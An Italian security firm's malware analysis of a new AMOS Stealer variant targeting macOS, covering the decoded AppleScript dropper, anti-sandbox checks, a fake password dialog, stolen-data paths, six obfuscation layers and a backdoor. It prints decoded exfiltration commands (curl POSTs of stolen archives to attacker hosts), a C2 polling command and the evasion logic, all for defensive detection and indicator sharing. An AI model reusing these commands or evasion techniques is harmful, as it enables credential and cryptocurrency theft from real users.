Anatomia di un AMOS Stealer sconosciuto: dall'alert all'immunità in poche ore

Una variante di AMOS Stealer finora non documentata ha compromesso un endpoint macOS. Nessun hash noto, nessun dato C2 nei database pubblici. Il nostro SOC ha smontato sei livelli di offuscamento, estratto tutti gli indicatori e distribuito la protezione a tutti i clienti SOC nel giro di poche ore, prima ancora che il settore avesse visto il sample.

Anatomia di un AMOS Stealer sconosciuto: dall'alert all'immunità in poche ore

Quando nel nostro SOC scatta un alert, l'orologio inizia a correre: non solo per il cliente colpito, ma per tutte le organizzazioni sotto la nostra protezione. Il momento più pericoloso nel panorama moderno delle minacce è l'Intelligence Gap, la finestra temporale tra il primo impiego di una nuova variante di malware e il giorno in cui il settore ne viene a conoscenza.

Per i security team indipendenti questa lacuna significa vulnerabilità estrema: si aspetta un aggiornamento del vendor o un feed di signature che non è ancora stato scritto. Per i nostri clienti la nostra Shared Threat Intelligence, sviluppata internamente, chiude esattamente questa finestra.

Questo articolo è un'analisi tecnica di come abbiamo smontato una variante di AMOS (Atomic macOS Stealer) finora non documentata e di come, partendo da un singolo endpoint compromesso, siamo arrivati nel giro di poche ore a una rilevazione e a un blocco estesi a tutti gli ambienti dei nostri clienti.


L'incidente: uno scenario di IOC sconosciuti

L'alert è arrivato il 12 marzo 2026 alle 06:25 ora locale: un endpoint macOS era stato compromesso. Quando il nostro SOC ha iniziato ad analizzare gli artefatti, ci siamo trovati davanti alla situazione che ogni threat analyst teme: nessun hash di file noto, nessun indirizzo IP di C2, nessuna signature comportamentale significativa nei database pubblici.

L'architettura completa dell'attacco si è rivelata solo con l'analisi approfondita. L'infezione si basava su una macOS Universal Binary da 15,7 MB (x86_64 e ARM64), depositata in /private/tmp/helper. Il sample non era direttamente disponibile sul sistema compromesso; il nostro team ha dovuto ricostruire la catena di infezione e simulare la richiesta di consegna originale per recuperare manualmente la binary dall'infrastruttura degli attaccanti.


Stage 1: verifiche sandbox

Prima che lo stealer vero e proprio venisse eseguito sul dispositivo, era già stato lanciato un payload AppleScript. Ogni stringa al suo interno, ogni percorso di file, ogni comando shell, ogni URL era codificato tramite tre funzioni aritmetiche personalizzate:

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])

on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])

on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

Nessuna stringa appare in chiaro. Quello che a prima vista sembrava un insieme insignificante di array di interi si è rivelato, una volta invertito lo schema di codifica, un framework completo e pronto all'uso per il furto e l'esfiltrazione dei dati.

Abbiamo decodificato staticamente ogni array nello script. I risultati erano inequivocabili:

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"

La URL di download imita volutamente un aggiornamento legittimo di n8n Workflow Automation, uno strumento molto diffuso tra sviluppatori e ingegneri DevOps. Non è un caso: la campagna prende di mira utenti tecnicamente esperti, non i comuni utenti finali che installano software craccato.

Il controllo anti-sandbox

Prima del download, lo script eseguiva una routine dedicata di rilevamento di VM e sandbox. Dagli artefatti dell'incidente siamo riusciti a ricostruire anche uno script anti-sandbox indipendente:

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

Lo script confrontava poi i risultati con due liste. La prima cercava marker di virtualizzazione nei dati sulla memoria:

"QEMU"   "VMware"   "KVM"

La seconda verificava gli identificatori hardware rispetto a un elenco di numeri di serie noti di macchine di analisi:

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

In caso di corrispondenza: exit 100, interruzione completa. Su un MacBook Pro reale con Apple Silicon tutti i controlli passavano silenziosamente e l'esecuzione proseguiva. Una tecnica di sandbox evasion di livello professionale, che si svolgeva prima ancora che venisse scaricato un solo byte della binary.

Semplice, ma efficace: il finto prompt della password

Lo script decodificato conteneva anche il dialogo per l'escalation dei privilegi tramite social engineering:

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

Il dialogo compare tramite una chiamata standard macOS a display dialog con with hidden answer ed è visivamente indistinguibile da un vero prompt di autorizzazione di macOS. Lo script utilizzava la password inserita per lanciare login -pf <username> ed elevare il processo ai privilegi di root, ancora prima di eseguire la binary.

Cosa ha raccolto lo script

Una volta eseguita la binary, l'osascript proseguiva la propria routine di raccolta e catturava ogni categoria di dati sensibili del sistema. Abbiamo decodificato tutti i percorsi di raccolta e le destinazioni:

Dati del browser (tutti i browser Chromium + Safari):

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

macOS Keychain:

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

Contenuto completo esportato come HTML con header di conteggio

File locali

Desktop e Documenti, fino a 30 MB, con focus su:

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

Wallet di criptovalute

Una lista hardcoded di oltre 200 ID di estensioni del browser, che copre tutti i wallet più diffusi, tra cui MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI ed Exodus.

Dopo la raccolta, tutti i dati venivano impacchettati in una directory temporanea dal nome casuale ed esfiltrati:

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

La pulizia seguiva immediatamente:

rm -r <staging_dir>
rm /tmp/out.zip

Stage 2: reverse engineering della binary 'helper'

La binary helper è la parte in cui questa analisi entra davvero nel dettaglio. Si tratta di un eseguibile macOS offuscato in modo professionale, che ostacola sistematicamente l'analisi statica e ha richiesto lo sforzo maggiore di reverse engineering di tutta questa indagine.

L'intera analisi è stata condotta con Ghidra e con il nostro workflow personalizzato di analisi ARM64.

Proprietà del file

Proprietà Valore
Format Mach-O Universal Binary
Architectures x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
Size 15.7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

Comincia prima di main()

La prima cosa che abbiamo notato in Ghidra: questa binary non si comporta come un eseguibile normale. Il vero entry point non è main(), ma una funzione registrata in __mod_init_func, un meccanismo di macOS che indica al dynamic linker (dyld) di eseguire automaticamente determinate funzioni al caricamento della binary, prima ancora che venga eseguito codice utilizzabile.

La init function a 0x10009f384 è il vero entry point del malware. Ecco la decompilazione Ghidra:

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

Due elementi saltano subito all'occhio. Il primo è la usleep di 894 microsecondi in avvio: un segnale di timing anti-sandbox. Ancora più rilevante è la jump table indiretta a 0x10009f43c. Si tratta di un branch calcolato, in cui l'indirizzo di destinazione viene determinato a runtime a partire da una lookup table. Gli strumenti di analisi statica non riescono a ricostruire il control flow graph; Ghidra ha registrato diversi warning "unreachable block" nel tentativo di seguire il percorso di esecuzione. Il comportamento è voluto.

La jump table pilota una macchina a stati di esecuzione a 14 stati. Ogni stato esegue un singolo passo discreto della pipeline di decodifica ed esecuzione. Il contatore di stato viene aggiornato dopo ogni passo e la macchina gira finché tutti gli stati non sono stati attraversati.

Il disassembly ARM64 del state dispatcher

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

Sei livelli di offuscamento sovrapposti

La binary utilizza sei diversi livelli di offuscamento, sovrapposti e concatenati, in modo che l'output di ciascun livello venga passato in ingresso al successivo. Ogni payload, ogni stringa, ogni costante interna è codificata. Nel segmento __const non compare nulla di significativo in chiaro. Segue una scomposizione completa livello per livello, verificata direttamente in Ghidra fino alle singole istruzioni ARM64. Ognuna delle tecniche impiegate è nota di per sé; è la loro applicazione concatenata su più stadi ad aver creato un flusso di esecuzione fortemente interdipendente, che ha reso molto più difficile sia l'analisi statica sia quella dinamica.


Layer 1: codifica compile-time a triplette

Nessuna stringa nella binary è memorizzata come sequenza di caratteri, ma come sequenza di triplette aritmetiche da 12 byte. Ogni tripletta (a, b, shift) codifica esattamente un carattere di output. Lo schema di codifica viene applicato in fase di compilazione, per cui nessuna stringa esiste mai come testo in chiaro nella binary, nemmeno temporaneamente al caricamento.

Due funzioni di decoder separate gestiscono dimensioni diverse di stringa. FUN_100087c08 a 0x100087c08 decodifica stringhe da 60 caratteri (720 byte di dati di input da DAT_1006292cc). FUN_10007ad80 a 0x10007ad80 decodifica stringhe da 56 caratteri (672 byte da DAT_10049708c). Entrambe usano lo stesso algoritmo.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint _)((long)pvVar2 + 8); do { plVar1 = (long _)_param_1; if (-1 < _(char _)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b _(char _)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

L'assembly ARM64 corrispondente, dove ogni istruzione mappa direttamente un'operazione della formula:

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

Da notare: la moltiplicazione b × 3 è implementata come add w12, w11, w11, LSL #1, uno shift-and-add che evita del tutto un'istruzione di moltiplicazione. È una classica ottimizzazione del compilatore, che nello stesso tempo rende il codice più difficile da individuare tramite signature matching.

La formula di decodifica completa:

char = ASR( (b × 3) XOR a, shift ) − b

L'ASR (Arithmetic Shift Right) è determinante: preserva il bit di segno. Se il risultato intermedio di (b×3) XOR a è negativo, cosa che capita spesso, uno shift logico produrrebbe un risultato completamente diverso. È voluto: chi reimplementa la formula in un linguaggio di alto livello con >> ottiene silenziosamente output errati se non tiene esplicitamente conto dell'aritmetica con segno.

La variante da 56 caratteri FUN_10007ad80 è strutturalmente identica, opera su DAT_10049708c con un limite di loop pari a 0x38. Entrambe le funzioni sono state confermate in live in Ghidra durante questa analisi.


Layer 2: codifica hex string

I byte grezzi generati dal Layer 1 sono a loro volta caratteri ASCII esadecimali, non dati binari. L'output di un triplet decode di Layer 1 è una stringa di coppie hex: 32694e5462.... Lo conferma la funzione di decoder FUN_100000dc0 a 0x100000dc0, che implementa un hex decode tramite una lookup table a DAT_1007bb591.

Il decompile Ghidra mostra uno switch che mappa ogni carattere hex (0x30-0x39, 0x41-0x46, 0x61-0x66) sul valore del suo nibble e assembla i byte di output due caratteri alla volta:

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

L'assembly ARM64 pilota tutto questo con una tabella secondaria di branch calcolati, implementando di fatto una jump table da 55 voci per lo switch:

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

Due branch calcolati in una finestra di 24 byte. Gli strumenti di analisi statica non gestiscono questo pattern, perché entrambe le destinazioni del branch sono ignote in fase di analisi.

Una stringa hex lunga 137.208 caratteri, una volta decodificata, dà 68.604 byte, che vengono poi passati al Layer 3.


Layer 3: alfabeto nibble personalizzato a 16 simboli

I 68.604 byte di output del Layer 2 utilizzano solo 16 valori di byte distinti, presi da due intervalli ASCII non contigui:

  • 0x20-0x2F: spazio, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F: x, y, z, {, |, }, ~, DEL

È una scelta di design voluta. In un hex editor questi byte sembrano spazi, punteggiatura e caratteri ASCII di margine; si confondono nel rumore di quelli che appaiono come metadati o padding. Un analista che scorre un hex dump non contrassegnerà questi intervalli di byte come sospetti e le analisi di entropia standard sottostimano l'entropia effettiva, perché la distribuzione dei byte non appare casuale.

Ogni byte di questo alfabeto codifica un nibble del payload reale. Il mapping alfabeto-nibble viene applicato dalla funzione di encode/decode FUN_100000d60, che abbiamo confermato a 0x100000d60. La funzione concatena due sotto-funzioni: FUN_100000b50 crea una mappa indicizzata dei caratteri della stringa di input, e FUN_100000c34 la percorre, consumando 6 bit per passo e accumulando byte di output 8 bit alla volta:

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

I 34.302 byte che escono da questa fase sono ASCII stampabile al 99,7%. A un primo sguardo veloce, il payload a questo stadio sembra un grosso script shell o un blob di configurazione.


Layer 4: offuscamento delle stringhe a compile-time

Le stringhe usate internamente vengono offuscate in fase di compilazione con lo stesso schema a triplette del Layer 1 e ricostruite a runtime immediatamente prima dell'uso. In memoria non restano più a lungo del necessario; il buffer viene rilasciato subito dopo il consumo. Nelle sezioni di dati statici della binary, in nessun momento è visibile una stringa decodificata.

La funzione di string hash FUN_100000730 fornisce un livello di offuscamento secondario per i confronti di stringhe. Invece di confrontare direttamente le stringhe, cosa che lascerebbe testo in chiaro in memoria, la binary calcola e confronta hash interi:

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

L'assembly ARM64 sostituisce la moltiplicazione con un fused multiply-add:

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

Questo significa che anche il confronto tra due stringhe all'interno della binary non produce un branch che un debugger possa intercettare in modo pulito a livello di stringa, ma solo a livello di hash.


Layer 5: doppia istanza di stream cipher personalizzata

Qui l'architettura di offuscamento diventa insolita. Nella binary non gira una, bensì due istanze cipher separate, ciascuna con una lookup table hardcoded diversa e un contatore iniziale diverso. Entrambe usano la stessa struttura algoritmica, ma generano alfabeti di output differenti per parti diverse della pipeline del payload.

Istanza A, FUN_10007ab34 a 0x10007ab34:

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Istanza B, FUN_10007a7e0 a 0x10007a7e0:

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

L'algoritmo è strutturalmente identico, ma il contatore iniziale è diverso (0x4c vs. 0x9f) e le lookup table risiedono a indirizzi di memoria diversi. L'istanza A viene invocata dallo stato 11 della macchina a stati per generare l'alfabeto di codifica del primo percorso del payload. L'istanza B viene invocata dallo stato 6 per generare l'alfabeto per il decode del grande payload di shell script.

In termini precisi: si tratta di una cifratura a sostituzione con indice dipendente da un contatore. Ogni byte di output è un lookup su tabella, in cui l'indice è (input_byte XOR counter) & 0xFF. Il contatore si aggiorna dopo ogni byte come counter = (i + (counter XOR output)) & 0xFF, il che significa che ogni byte di output influenza la determinazione del successivo indice di lookup. Ne risulta una catena di dipendenze sull'intera sequenza di output: il byte N non può essere decifrato senza aver decifrato correttamente i byte da 0 a N-1. La decodifica parziale o l'analisi degli errori diventano così molto più complicate.

Nessuna delle due istanze è RC4 standard. Non c'è una fase di inizializzazione della S-box, non c'è alcuna operazione di swap della S-box. Le lookup table sono costanti statiche, incorporate a compile-time.


Layer 6: XOR a runtime con chiave dipendente dall'exit code

L'ultimo livello, il più impegnativo dal punto di vista analitico, applica una trasformazione XOR in-place al payload di Stage 2. La chiave XOR non è hardcoded, ma viene derivata a runtime dall'exit code della prima esecuzione del payload shell, e in questo modo non è, in linea di principio, determinabile tramite analisi statica. La binary deve essere effettivamente eseguita e il primo shell script deve arrivare fino alla fine, perché la chiave possa esistere.

La sequenza di derivazione della chiave nel dispatcher ARM64 della macchina a stati:

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

Il loop XOR che elabora il payload di Stage 2:

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

La chiave è un valore a 16 bit, derivato dal byte di exit status del primo payload shell, moltiplicato per 0x7f0 e sommato al valore corrente del registro contatore di base w26 della macchina a stati. La costante di moltiplicazione 0x7f0 fa sì che una differenza di un solo bit nell'exit code produca una chiave completamente diversa. Non c'è alcuna continuità sfruttabile tra valori di chiave adiacenti.

Senza eseguire la binary in un ambiente controllato e senza registrare l'esatto exit code del primo payload shell, il payload di Stage 2 rimane definitivamente opaco all'analisi statica. È stato l'ostacolo più difficile di tutta l'analisi.


Esecuzione shell: pipe al posto degli argomenti, e XOR SIMD

La funzione di esecuzione shell FUN_10000091c a 0x10000091c è la componente architettonicamente più interessante della binary. Qui converge tutto: il payload decodificato, il nome del comando offuscato e un design esplicito di anti-forensica. Ogni scelta progettuale in questa funzione ha uno scopo specifico di evasione.

Passo 1: il nome del comando non compare mai in chiaro

/bin/zsh non esiste in nessun punto della binary come testo in chiaro. Nella sezione __cstring a 0x1007bb5c8 la stringa è memorizzata come byte offuscati \x01LG@\x01T]F. La decodifica avviene a runtime tramite una singola operazione XOR, verificabile direttamente nell'assembly ARM64:

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

La chiave XOR è 0x2e, il valore ASCII di . (punto). La decodifica avviene in una singola istruzione eor v0.8B, v0.8B, v1.8B, un'istruzione vettoriale ARM64 NEON che esegue lo XOR di tutti gli 8 byte contemporaneamente. Usare un'istruzione SIMD per un semplice decode di 8 byte è insolito e ha due effetti: è più rapido di un loop byte per byte, e il pattern di istruzioni generato è radicalmente diverso dai loop di decode scalari su cui gli strumenti di signature matching sono addestrati.

La verifica è semplice: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, che nei primi quattro byte forma /bin.

Passo 2: l'architettura pipe

Dopo aver decodificato il nome del comando, la funzione crea una pipe di OS e forka:

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

Nel processo figlio:

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

Il processo figlio sostituisce il proprio standard input con l'estremità di lettura della pipe e avvia /bin/zsh -s. In modalità -s la shell legge i comandi da stdin. Per gli strumenti di process monitoring questo processo appare come /bin/zsh -s senza argomenti, indistinguibile da una legittima sessione shell interattiva.

Passo 3: write in chunk di dimensione variabile

Il processo padre scrive il payload decifrato sull'estremità di scrittura della pipe in chunk di dimensione volutamente variabile:

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

La formula per la dimensione del chunk (remaining_length % 192) + 64 genera valori tra 64 e 255 byte per chiamata di write, a seconda della lunghezza residua del payload. Il pattern di write variabile è visibile in strumenti di kernel event tracing come ktrace o dtrace, ma non produce una signature di dimensione fissa riconoscibile. Ogni esecuzione dello stesso payload produce una sequenza diversa di dimensioni di syscall write().

La usleep di 1 microsecondo tra i chunk ha un secondo scopo: rilascia la CPU tra le scritture, mantiene piatto il carico di CPU ed evita un picco improvviso che una regola EDR di tipo behavioral potrebbe segnalare come burst I/O anomalo.

Passo 4: pulizia immediata della memoria

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

La chiamata _bzero() azzera l'intero buffer del payload decifrato immediatamente dopo l'ultima scrittura sulla pipe. Nessuna finestra temporale, nemmeno di un microsecondo, in cui il payload decifrato resti in memoria dopo la fine dell'esecuzione. Un memory dump live effettuato subito dopo il ritorno di questa funzione trova solo zeri dove prima c'era il payload.

La tecnica si chiama zero-after-use, la stessa usata dalle librerie crittografiche ad alta sicurezza per impedire che del materiale di chiave rimanga in memoria. Vederla in un commodity malware è insolito e suggerisce uno sviluppatore con background di security engineering.

La sequenza di esecuzione completa:

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

La import table come arma

La import table completa di questa binary:

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

In totale 27 simboli. Ciò che manca è almeno tanto significativo quanto ciò che è presente.

Assente: rete

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

Assente: filesystem

open        read        fopen       fread
fwrite      fclose      stat        unlink
mkdir       rename      opendir     readdir

Assente: introspezione dei processi

getpid      getuid      getenv      sysctl

Assente: crittografia

CCCrypt     SecItemAdd  SecKeychainFind

In un sample di malware tradizionale ci si aspetta di trovare import di rete (socket, connect) o di file (fopen, write). Questa binary non ne ha nemmeno uno. Per uno scanner standard sembra un innocuo process launcher, e questo è voluto: una scelta architetturale deliberata che fa girare a vuoto gli strumenti di analisi statica.

La binary helper non compie di per sé il furto. Il suo unico scopo è depositare ed eseguire il vero payload malevolo, un AppleScript fortemente offuscato. Un EDR o un AV che cerca binary malevole vede qui un loader senza I/O di rete o file e può classificarlo come pulito, senza riconoscere che la binary è un sistema di consegna specializzato per un payload script di alto livello.


La backdoor

L'incidente non è finito dopo la compromissione iniziale. La telemetria di Microsoft Defender ha mostrato un processo che girava da /Users/<redacted>/.mainhelper e interrogava un server esterno:

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

La stringa Base64 si decodificava in una device UUID di 16 byte, l'identificativo univoco che l'infrastruttura C2 dell'attaccante aveva assegnato a questo dispositivo il giorno dell'infezione iniziale.

La binary .mainhelper (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) era stata installata il giorno dell'incidente dal dropper osascript tramite ditto.


La forza dello scudo collettivo: la nostra Shared Threat Intelligence Platform

